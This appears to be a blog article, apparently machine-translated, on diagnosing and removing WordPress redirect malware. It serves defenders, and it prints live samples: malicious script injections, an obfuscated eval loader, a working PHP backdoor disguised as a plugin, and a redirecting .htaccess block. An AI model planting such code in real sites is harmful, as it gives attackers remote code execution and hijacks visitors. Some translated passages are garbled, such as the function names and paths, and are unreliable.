WordPress redirect hack? How to clean up a website?

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Malicious WordPress redirectMalicious redirect to WordPress. If your WordPress website or admin panel automatically redirects to a spam site, your website has probably been hacked and infected with redirect malware. So, what can you do with a hacked WordPress redirect malware on your site? First of all, confirm if you have a hack by scanning your

It is important to remember that time is your best friend here. Don't waste time worrying about this. We will completely fix the hack, and your site can be cleaned up. But you need to move fast.

I'll walk you through the steps to help you remove malicious redirects from your site, fix your site, and make sure it doesn't happen again. With multiple variations of the WordPress redirect hack, it can be tricky to get to the root of it. This article will help you quickly find and remove malware step by step.

The content of the article:

• What does a hacked redirect (malicious redirect) in WordPress mean?
• How do I know if my WordPress site is being redirected to spam?
• How to remove WordPress hacked redirect infection?
• Website is being redirected to spam: how has this affected my website?
• How to prevent WordPress Redirect hacks in the future?
• What are the consequences of malicious redirects?
• Conclusion

What does a hacked redirect (malicious redirect) in WordPress mean?

Hacked redirect WordPress happens when malicious code is injected into your website, which then automatically redirects your visitors to another website. Typically, the target website contains spam, gray market pharmaceutical products, or illegal services.

There are many types of malware, such as favicon malware, that cause this behavior, so WordPress malware redirect hack is a generic term referring to the predominant symptom: malicious redirects.

This type of hack affects millions of websites and results in horrendous losses every day. Websites are losing revenue, branding and SEO rankings, not to mention the stress of recovery.

However, the worst thing about hacking is that it keeps getting worse. The malware spreads through files and folders and even your website database, copying itself and using your website to infect others.

I will go into the specific consequences of a hack later in this article, but suffice it to say that your priority for saving your website is to act immediately and not procrastinate.

How do I know if my WordPress site is being redirected to spam?

Before fixing the problem with redirecting a hacked WordPress site, we need to first establish that your site has definitely been hacked. As with infection, hacks have symptoms. And then, once you've identified the symptoms, you can confirm the diagnosis with a few tests.

As stated earlier, automatic redirects are a sure sign of a WordPress redirect hack. Spam redirects can occur from search results, on specific pages, or even when you try to log into your website. The problem with redirects is that they don't always happen consistently or reliably.

For example, if you went to your site and it was redirected, it might not happen the second, third, or fourth time. Hackers are smart and they set up a cookie to make sure the problem only happens once.

The upshot of this is that it's easy to fall into a false sense of security when you feel like it might be an accident. There is a tiny chance that this could be a bug in the code, but when I say "tiny" I mean an infinitesimal chance.

Check for Signs of a Hacked Redirect in WordPress

As a rule, hacks manifest themselves in different ways. Individually, these could be website errors such as an old tracking code, but if you see two or more of these symptoms on your website, you can be sure that your website has been hacked.

• WordPress site redirects to a spam site: A classic symptom of a WordPress redirect hack. Depending on the malware variant, the redirect may occur in different ways or in different places on your site.
  — Automatic redirects: Malware redirects your visitors automatically to spam sites when someone visits your site. This also happens if someone goes to your site from Google or Yandex. Typically, you will also be redirected if you try to login to your site.
  — Link redirection: Someone clicks on a link and then is redirected to another website. This is especially smart because visitors click on links expecting to be redirected to another location anyway.
  — Redirects for mobile devices only: Only if your website is accessed via a mobile device, it is redirected.
• Google results show "Site may have been hacked" message: When your website appears in search results, a small message appears: "Site may have been hacked" - will appear right below the title. This is Google's way of alerting visitors to a potentially hacked site.
• Google blacklist: The biggest red flag of all — literally — Google's blacklist is a sure sign that your site has been hacked. Even if your visitors are using a different search engine, they are also using the Google blacklist to flag hacked sites.
• Site ban in Yandex: also a sure sign of a hacked website, your website's positions will pop out of the Yandex search results. Perhaps the main page will remain, but this is not a fact.
• Google Ads flags scripts on your website: If you try to advertise on your website, Google Ads will crawl your website and warn you about redirect scenarios in your posts or pages.
• The web host has suspended your account: Websites suspend websites for several reasons, and malware is one of the main ones. If you see this message when you are trying to access your website, check your email for some reason. Alternatively, contact their support team.
• People are complaining about your site: The terrible part of hacks is that website administrators are usually the last to know about a hack, unless they have a good security plugin installed. So many people find out about this because website visitors and users complain about the website being redirected to spam or even receiving junk email.

If you see any of the symptoms listed above, it is a good idea to write down information about it. What browser did you use? What device did you use? This information can help identify the type of WordPress hacking malware you are facing and therefore eliminate it faster.

Confirm if your site is infected with a redirect hack

The next step to discovering the symptom is to make sure it is indeed a hack. The fastest way to make sure your website is susceptible to malicious redirects is to scan your website.

1. Scan your site with a security plugin

If you are still unsure on 100 % that your website has been hacked, use a free online scanner to confirm. A very common case is accessing your website from a mobile device, which indicates malware in the .htaccess file. Or one that we often see is a page hack that automatically redirects. This happens when there is malware in the database.

Later in the article, we will look at other variants of malware. Right now, I want to emphasize that direct malware hijacked by WordPress can be almost anywhere on your site.

Because of this, each scanner will tag it differently. For example, Quttera will flag malware as follows:

Name of the threat: Heur AlienFile gen

And WordFence will show a warning about a whole bunch of unknown files, like this:

* Unknown file in WordPress core: wp-admin/css/colors/blue/php.ini
* Unknown file in WordPress core: wp-admin/css/colors/coffee/php.ini
* Unknown file in WordPress core: wp-admin /css/colors/ectoplasm/php.ini

These are good signs that your site has been hacked because, as we will see later, the /wp-admin folder should contain nothing but the core files from your WordPress installation.

Having said that, unfortunately it doesn't help for the uninstall. There are several major issues with how other security plugins flag malware due to their detection mechanisms. There are many false positives, missing files and many other problems. Your website is important, so choose your security plugin wisely.

2. Scan with an online security scanner

You can also use an online security scanner like Sucuri SiteCheck to check for hacked redirect malware. An online security scanner or an external scanner scans the code on your pages and posts looking for malicious scripts.

The only problem with a front-end scanner is that it can and will only scan code that it has access to. That is, basically the source code of pages and posts. Although there are many hacked redirect malware on these pages, there are a few options in the core files. The external scanner will not show them at all.

I advise using an online security scanner as a first line diagnostic tool. If it turns out to be positive, you can be sure that it is positive and work on fixing the hack. If it turns out to be negative, you can manually check the places not scanned by the front-end scanner. This way you can eliminate some of the manual work.

3. Scan the site for malware manually

If you are using a security plug-in to look for hacked redirect malware, you can skip this section entirely. A good security plugin will do exactly what I suggest below, but much faster and better.

Scanning your website for malware essentially means looking for unwanted code in files and database. I understand that "junk code" is useless as a referral, but due to the options, there is not a single line that you can quickly find and announce a hack.

However, in the next section, I have listed a few examples of malware found on other websites. And in the next section, we will talk about typical places where malware is injected, depending on the observed redirect behavior.

What WordPress Redirect Malware Looks Like

I'm exaggerating that line in this article, but WordPress hack redirect malware has many options, and so there's no single standard code snippet to point to, "Look for this!"

However, I can give you an idea of what some malicious codes look like:

• The code can be somewhere in the page header or on all pages of the wp_posts table. Here are some examples:

type='text/javascript' src='//www.dekeine.nl/wp-content/count.php?s=8131599557550&ver=5.7.2' id='hello_newscript5-js'> type='text/javascript' src='https://store.don/tkinhoo/ot./tw/m.js?w=085'> type='text/javascript' async src='https://db.d/live/rygoo/stra/tegy./com/js.min.js?s=p&'> type='text/javascript' src='https://coun/.tr/acks/tatis/icsss/./com/stm?v=l6.0.0'> type=text/javascript src='https://des/.coll/ectf/at/rac/ks./com/t.js'> src='https://js/donatel/firstly.ga/stat.js?n=ns1' type='text/javascript'>

• The wp_options tables may have unfamiliar URLs in the site_url. Here are some examples:

stat/traksatiticss dest/colecfattracks gotosecnd ws.stienernando

• Scripts can also be obfuscated, which means you need to run them through an online deobfuscator to extract the actual code.

obfuscated code

eval(StringfromCharCode32,40,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,118,97,114,32,112,111,32,61,32,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116, 39,41,59,10,32,32,32,32,112,111,46,116,121,112,101,32,61,32,39,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,39,59,10,32,32,32,32,112,111,46,115,114, 99,32,61,32,39,104,116,116,112,115,58,47,47,106,115,46,100,101,118,101,108,111,112,101,114,115,116,97,116,115,115,46,103,97,47,115,116,97,116,46,106,115,63,118,61,110,52,39,59,10,32,32,32,32,118, 97,114,32,115,32,61,32,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,115,99,114,105,112,116,39,41,91,48,93,59,10,32,32, 32,32,115,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,112,111,44,32,115,41,59,10,32,32,125,41,40,41,59));')

And what does it actually mean:

(function() var po = document.createElement('script'); po.type = 'text/javascript'; po.src = eloperatss.sat?v=n4'; var s = document.getElementsByTagName('script') [0];s.parentNode.insertBefore(po, s); )();

• Fake plugins may have files that look like this when opened:

<?php /** * Plugin Name: Wp Zzz * Plugin URI: https://wpforms.com * Description: Default WordPress plugin * Author: WPForms * Author URI: https://wpforms.com * Version: 1.6.3.1 * */ function simple_init() { $v = "base".chr(54).chr(52).chr(95).chr(100).chr(101).chr(99)."ode"; if(isset($_REQUEST['lt']) && md5($_REQUEST['lt']) == $v("MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=") ) { $n = "file_put_contents"; $lt = $v($_REQUEST['a']);$n('lte_','<?php '.$lt);$lt='lte_';if(file_exists($lt)){include($lt);unlink($lt);die();}else{@eval($v($lt));}}else{if(isset($_REQUEST['lt'])){echo $v('cGFnZV9ub3RfZm91bmRfNDA0');}} } add_action('init','simple_init'); function my_custom_js() { echo ' '; } add_action( 'admin_head', 'my_custom_js' ); add_action( 'wp_head', 'my_custom_js' );

• Mobile redirects indicate changes to the .htaccess file. The code below redirects to https://daily-prize-best /life/?u=y2ykaew&o=2xup89r&m=1&t=mns2.

RewriteEngine On RewriteRule ^.+\.txt$ https://bit.ly/3iZl8mm [L] RewriteRule ^.+\.htm$ https://bit.ly/3iZl8mm [L] RewriteRule ^.+\.html$ https:/ /bit.ly/3iZl8mm [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . https://bit.ly/3iZl8mm[L] RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php[L]

Places to Look for Redirected Malware

WordPress is divided into two main parts: files and database. The problem with hacked redirect malware is that it can be anywhere.

If you are familiar with modifying your website code, you can find the redirect code I mentioned in the following places. Download a backup copy of your website - both files and database - to look for suspicious add-ons.

Again, keep in mind that there are options such as classic, situational, device-specific, or even bundled redirects. The code will be different for each, as will the location.

A. Website files

• WordPress Core FilesA: Starting with the simplest ones, /wp-admin and /wp-includes should not be different from a new WordPress installation. The same goes for index.php, settings.php and load.php files. These are the core WordPress files and the settings do not make any changes to them. Compare with a fresh install of WordPress to see if there are any changes. The .htaccess file is a special case. A mobile redirect hack will almost always show up in this file. Look for the user agent rule that defines device-specific behavior and check for the redirect script.
• Active Theme Files: If you have more than one theme installed (which is not recommended to start with), make sure only one of them is active. Then, review your active theme files such as header.php, footer.php, and functions.php for strange code. A good way to test this is to download pristine installs from the developers' sites and match the code against those files. Typically, these files need to be in a specific format, which is why the garbage code sticks out. Keep in mind that the settings will also change the code. Also, if you are using nulled themes or plugins, you can stop the diagnostics right here, because we can assure you that you have been hacked because of them.
• Fake plugins on your site: Yes, this is the case. Hackers mask malware, making it as legitimate as possible. Go to the wp-content/plugins folder and have a look. Something you haven't installed? Some weird duplicates? Do any of them only have one or two files in their folders?

Here are some examples:

/wp-content/plugins/mplugin/mplugin.php /wp-content/plugins/wp-zzz/wp-zzz.php /wp-content/plugins/Plugin/plug.php

If you have a lot of plugins installed, it can be difficult to check them all. The rule of thumb for spotting fake plugins is that, by convention, legitimate plugin names rarely start with a capital letter, and their names contain no special characters other than hyphens. These are not rules, but conventions. So do not attach too much importance to them in order to definitively identify fakes. If you suspect a plugin is fake, google it and find the original version in the WordPress repository. Download it from there and check if the files match.

B. Database

• wp_posts table: Malicious scripts are often present on every page. But, as we have already said, hackers are very cunning. Check out a good sample of posts before deciding a hack doesn't exist. Another way to check the code of your pages and posts is to check the source code of the page using a browser. Every page on your site has an HTML code that is readable by browsers. Open the page's source code and check the header, footer, and everything between the script tags for things that look out of place. The head section contains information that the browser uses to load that page, but is not shown to the visitor. Malware scripts are often hidden here, so they load before the rest of the page.
• wp_options table: check siteurl. This should be your website URL in 99% cases. If it doesn't, this is your hack right here.

However, now is not the time to try to remove anything. You must be completely sure that Javascript or PHP scripts are definitely malicious. You want to get rid of malware very quickly, but rushing will lead you to a site that is down.

Other Ways to Check for Malware Redirects

You may not see all of the symptoms listed above as a website administrator. Hackers cleverly exclude your IP and account from viewing the results of a hack because they want to remain undetected for as long as possible.

Also, you may see the symptom once and then be unable to recreate it. All this is very confusing. There are several other ways to check for symptoms if you don't see them directly on your website.

• Check Google Search Console: They will flag malware infection in the Security Issues section.
• Use an incognito browser to access your websiteto see what a regular visitor sees
• Check activity logs for unusual user activity, such as elevating user privileges or composing messages.

The next section deals exclusively with deletion. Take a deep breath and have a cup of tea or coffee. Let's go through the whole process together.

How to remove WordPress hacked redirect infection?

Now that we know your website is redirecting to another site, you need to act quickly. As time goes by, the number of hacks increases exponentially because malware spreads to more files and folders on your website. This not only increases damage, but also makes recovery much more difficult.

I am assuming that you have already crawled your website before reaching this section. However, if you haven't, the first thing you should do is crawl your website.

There are 2 main ways to remove malicious redirects from your website. I highly recommend using the security plug-in as I have seen firsthand the damage that hacks can do to a website.

1. (RECOMMENDED) Use a security plugin to remove the redirect virus

Security plugins are used to remove hard-to-detect malware. All you have to do is install the plugin on your site and wait a few minutes for your site to be restored.

If you have used a scanner to confirm that your website has been hacked, all you have to do is update it and get your site back.

There are several reasons why it is recommended to use such plugins:

1. Remove only malware and leave your site intact;
2. Find backdoors that hackers leave for re-infection, and also remove them;
3. Built-in firewall to protect your site from malicious traffic.

If you can't access wp-admin

In this case, contact the emergency malware removal service for help. A dedicated security expert will quickly clean up your website and make sure it's back up and running in no time.

2. Remove WordPress Redirect Malware Manually

It is possible to remove manual redirect malware from your website, but there are prerequisites for doing so.

- First, you need to know how WordPress is configured. From what the core files look like to the folders and files that each plugin and theme creates to work with. Deleting one necessary file can crash your site, so your site is not only hacked, but also disabled.

- Secondly, you must be able to distinguish good code from bad, i.e. malware. Malicious code is either disguised as legitimate code or obfuscated so that it cannot be read. It's very difficult to tell good code from bad code, which is why many scanners suffer from false positives.

NoteA: You can hire a WordPress expert to remove malware. Keep in mind that security experts are expensive and will take time to remove a hack.

Also, they do not guarantee that you will not relapse. However, I still recommend this course of action rather than trying to remove malware manually.

Okay, those are the caveats. Here are the steps to remove redirect malware from your site:

1. Back up your site

Be sure to make a backup before doing anything. Even if the site is hacked, it still works. So if something goes wrong during the malware removal process, you have a backup to go back to. A hacked site is hard to clean up. A broken website is even harder to clean up and sometimes impossible to recover.

The web host may suspend your site or even remove it. Then getting access to your website even to scrape it is a major problem. You'll need to contact the web host's support team to access the suspended site, but a deleted site can't be done without a backup.

2. Download a clean version of WordPress

Download fresh WordPress installations as well as any plugins and themes you use. Versions should match what is on your site.

After downloading them, you can use the blank files to compare against your website's files. You can use the online diff checker to find the differences, because we certainly don't recommend looking through them manually.

Essentially, this is signature matching, which is what most security scanners do. However, at least now you know what files and folders are required for your site to function properly. Do not delete anything at this stage. You just set the baseline to understand what files are needed.

3. Look for and remove redirect malware

This is perhaps the most difficult step in the process. As I said, you need to be able to tell good code from bad code and then remove or replace it as needed.

Clean up core WordPress files

It is extremely important to get the same version of WordPress as your website, otherwise you may experience website crash. Once uploaded, use cPanel or FTP to access your website files and replace the following folders:

/wp-admin
— /wp-enables

These folders are used by WordPress to run and load your website and are not meant to store user content at all. This was the easy part. Now check the following files for strange code:

- index.php
wp-config.php
wp-settings.php
- wp-load.php
- .htaccess

Also, there should be no PHP scripts in the /wp-uploads folder. I realize that "weird code" is very vague, but as we said before, a hacked WordPress redirect malware has many, many options.

As such, I can't tell you exactly what code you'll see in any of those files. If you understand how the code works, you can refer to the list of WordPress files to understand what each one does and see if any of the code does something different. Once you're sure you've found this code, delete it.

Clean themes and plugins from malware

All files and folders associated with the theme and plugin are stored in the /wp-content folder. You can check each of your website's files to see where there is a difference in the code.

A word of caution here: not all change is bad. If you have customized any of your plugins or themes - which you probably have - then there will be differences from a clean install. If you don't mind losing those settings, you can go ahead and replace the files in bulk.

You'll likely want to keep the work you've done, so start looking at each of the differences carefully. If you can follow the logic of the code, you can understand how the files interact with each other and with the rest of your site. This should allow you to find the malware and remove it.

If you have a significant number of themes and plugins, this can be a daunting task. Here are some good places to start:

• Active Theme Files
  header.php
  footer.php
  functions.php
• Vulnerable plugins
  - Has anyone been hacked recently
  - Are there any not updated
• Fake plugins
  - Very few files
  - Obvious duplicates

Some malicious files look harmless and often imitate real file names. This is where clean installs come in handy, but also contact the plugin and theme developers for support if you're not entirely sure.

Remove malware from WordPress database

Use phpMyAdmin to upload the database to clean up. Then check the tables for suspicious content such as spam URLs or keywords. Remove this content carefully, making sure it is bad code and not modified good code.

Check the following tables in particular:

- wp_options
- wp_posts

Depending on the size of your website, this can take a significant amount of time. Generally, if the malware is in your wp_posts table, it will be in every single post. If you have hundreds of posts with lots of content, then it's a monumental task to manually clean up.

However, once you've identified the malware script, you can use SQL (or ask someone who understands SQL) to remove the script from each message. The caveat here is that you cannot be sure that this is the only malware on the table.

Also, especially with e-commerce sites, double check if you are removing important user or order information.

4. Remove backdoors

Now that you've cleared your website of malware, check for backdoors. These are entry points to your website that a hacker leaves behind so they can re-infect your website if their original hack is discovered.

Backdoors can be in several places. Some code to search:

• grade
• base64_decode
• gzinflate
• preg_replace
• str_rot13

A word of caution: they're not necessarily all bad. These are legitimate PHP scripts that can be slightly modified to serve as backdoors. Be careful about removing any without proper analysis.

5. Reload cleaned files

Now that you've removed the hack, you need to put your site back together. Use a file manager to re-upload files and phpMyAdmin on cPanel or VestaCP to replace your website.

This is very similar to how you manually restore a backup and means that you must delete the existing files and database first. If you accidentally skipped the backup step at the beginning, do it now. Backing up your website, even a hacked one, will save you grief if something goes wrong.

6. Clear site cache

Now that your cleaned up website is loaded, clear your cache. The cache stores previous versions of your pages and content and shows them to your site visitors. In order for your newly cleaned site to behave as expected, you need to clear the cache.

7. Check each of the plugins and themes

The sad fact about malware is that it can hide almost anywhere. Since you've spent all that time and energy manually cleaning your website, it's worth taking a few extra minutes to make sure your efforts are a success.

I recommend that you use FTP for this as it will require a lot of work to change the website files.

• Disable all your plugins and themes by renaming the wp_contents folder to something else.
• Then activate them one by one, each time checking your site for a redirect.
• If there are no problems, you know that the plugins and themes do not contain malware.

Why I strongly advise against removing hacker redirects manually

You might be wondering why I don't recommend deleting hacks this way. Think of hacks the same way you would think of an illness, like cancer or a broken bone.

You would rather leave the care of these diseases to physicians who are trained professionals with extensive experience in treating them. Untrained people do more harm than good. Ask any doctor who has had to deal with a badly healed bone fracture.

There are a few things that can go wrong when manually removing a hack:

• Malicious software can spread to unexpected places and is difficult to remove without error.
• Removing malware alone is not enough if vulnerabilities and/or backdoors are not fixed.
• Inept deletion can sometimes break other parts of the website.
• Large sites (e.g. e-commerce stores) will be very difficult and time consuming to go through manually.
• Time is of the essence as hacks get worse exponentially over time.
• May not be able to access your website if the host has banned your account

Simply put, there is a huge margin of error in a hacked website. There is a very real danger of coming out of this process in a worse position than you started. It is best to use a good security plugin to remove hacker scripts.

Website is being redirected to spam: how has this affected my website?

Websites are complex mixtures of software, and at their core, no software is hackable on the 100%. This is the reality of any software, from the 8-bit games of yesteryear to the huge management information systems used by banks.

WordPress websites are no different. While the WordPress core files are closest to being bulletproof, the same cannot be said for plugins and themes. Plugins and themes add dynamic elements, functionality, and design to websites, and a site without them would be safe, but also static and boring.

Here is a list of reasons why WordPress sites get hacked:

1. Vulnerabilities in plugins and themes;
2. Bad passwords and compromised user accounts;
3. Backdoors in nulled themes and plugins;
4. XSS script attacks;
5. Brute force attacks with bots.

As stated earlier, website security is not to be taken lightly. You now have firsthand experience of how difficult it is to fix a hack, so ideally you should have a strategy in place to ensure it doesn't happen again.

How to prevent WordPress Redirect hacks in the future?

Now that you've got a clean website, the next steps are to prevent your WordPress website from being redirected to spam.

Hacks are repeated all the time. This is primarily due to the fact that the reason your site was hacked has not been fixed. To prevent a recurrence, the following steps must be taken:

1. Install the security plugin: choose a good security plugin that can scan, clean and prevent hacks. These plugins have a built-in firewall that proactively blocks harmful traffic from reaching your site.
2. Change all passwords for users and database: Compromised user accounts and easily guessed passwords are the second reason for website hacks.
3. Reset and check user accounts: Check user accounts with unnecessary administrator access and remove them.
4. Change Roles + Security Keys: roles and security keys are long strings that WordPress attaches to cookie login data to help users stay logged in securely. You can change them in your wp-config.php file after using the WordPress generator to get new ones.
5. Be sure to use only proven plugins and themes: I've said this before, but it's worth repeating. Only use plugins and themes from trusted developers. These developers will provide support and updates that are incredibly important for security. Under no circumstances should you use empty themes and plugins. Whatever you save, you will lose many times over due to the inevitable hack.
6. Make sure you have SSLA: Ideally, you should already have SSL on your website, but we include it for the sake of completeness. SSL ensures that communication to and from the website is encrypted. Google is also pushing this change hard and you will soon start seeing SEO penalties if you haven't already if SSL is not enabled on your website.
7. Protect WordPress: There are security tightening measures commonly known as hardening WordPress. I would like to caution you not to forget to follow the cool tips available on the internet. Some of them are completely non-working and will affect your site and visitor experience.
8. Have a safety plan/actions to be done regularly: it is not enough to do one thing only once and forget about it. At the very least, check users regularly and require password resets. Setting an activity log is also a good idea, as it makes it easy and quick to track user activity, which can often be an early warning sign of a hacked site.
9. You also need to update everything.A: WordPress, plugins and themes, and make regular backups.

What are the consequences of malicious redirects?

Any hack has a terrible effect on a website, and WordPress redirect malware is no different. Here are just a few of the ways malware can negatively impact your website and business:

• Loss of incomeif you have an e-commerce site or a business site.
• Loss of brand value due to redirecting visitors to illegal, fraudulent or spam sites.
• Impact on SEObecause Google penalizes hacked sites on its lists and flags a hacked site so that visitors are generally afraid to visit it.
• Data breach your visitors and your site.

There are many more ways in which hacking can cause property damage. The critical factor is to act quickly and get rid of malware as soon as possible.

Conclusion

The WordPress redirect hack malware appears in a new avatar from time to time. Hackers, and therefore their malware, are getting smarter and smarter. WordPress websites are a treasure trove for them and the only way to beat them is to get ahead of their game.

The best way to secure your WordPress website is to install a good security plugin that also comes with a built-in firewall. This is, without a doubt, the best investment in your website security.

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